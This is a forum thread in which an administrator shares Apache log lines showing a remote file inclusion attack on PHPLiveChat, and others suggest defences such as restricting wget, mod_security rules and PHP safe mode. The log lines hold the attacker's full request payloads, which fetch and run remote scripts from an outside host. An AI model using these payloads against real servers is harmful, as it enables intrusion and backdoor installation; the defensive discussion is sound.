200.138.208.43 - - [30/Jul/2004:00:23:06 -0400] "GET /asp/tracker.php?uid=0&action=initst&Uid=http://www.excs.hpg.ig.com.br/barbie.txt?&cmd=cd%20/var/tmp/;wget%20www.excs.hpg.ig.com.br/bbb HTTP/1.1" 200 580 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.138.208.43 - - [30/Jul/2004:00:23:50 -0400] "GET /asp/tracker.php?uid=0&action=initst&Uid=http://www.excs.hpg.ig.com.br/barbie.txt?&cmd=cd%20/var/tmp/;wget%20www.excs.hpg.ig.com.br/bnc.conf HTTP/1.1" 200 591 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.138.208.43 - - [30/Jul/2004:00:24:09 -0400] "GET /asp/tracker.php?uid=0&action=initst&Uid=http://www.excs.hpg.ig.com.br/barbie.txt?&cmd=cd%20/var/tmp/;perl%20bbb HTTP/1.1" 200 62 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.138.208.43 - - [02/Aug/2004:17:38:42 -0400] "GET /asp/tracker.php?uid=0&action=initst&Uid=http://www.excs.hpg.ig.com.br/barbie.txt?&cmd=uname%20-a HTTP/1.1" 200 185 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.138.208.43 - - [02/Aug/2004:17:39:07 -0400] "GET /asp/tracker.php?uid=0&action=initst&Uid=http://www.excs.hpg.ig.com.br/barbie.txt?&cmd=cd%20/var/tmp/;wget%20www.excs.hpg.ig.com.br/lol.txt HTTP/1.1" 200 588 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


One of my clients just got hacked like that. Is there any way to close that security bug in PHPLiveChat? Any way to block those kinds of requests using mod_rewrite or something temporarily (like blocking "wget" in URLs)?

- Matt

You could chmod wget so it cannot be accessed by not root or wheel users. Mod_security also comes to mind with a single rule blocking wget.

Chmod'ing wget seems like the best plan right now, that's what I just did.

Thanks,

Matt

We use PHP with safe mode on, and it has already proven to be an excellent measure for shared hosting, as you can't control what kind of scripts users will be running.

It will affect some legit scripts, but, at least for us, the advantages brought by safe mode are far more relevant then the problems to one or other script.

Thanks for the httpd log :). PHP Live should take measure for that.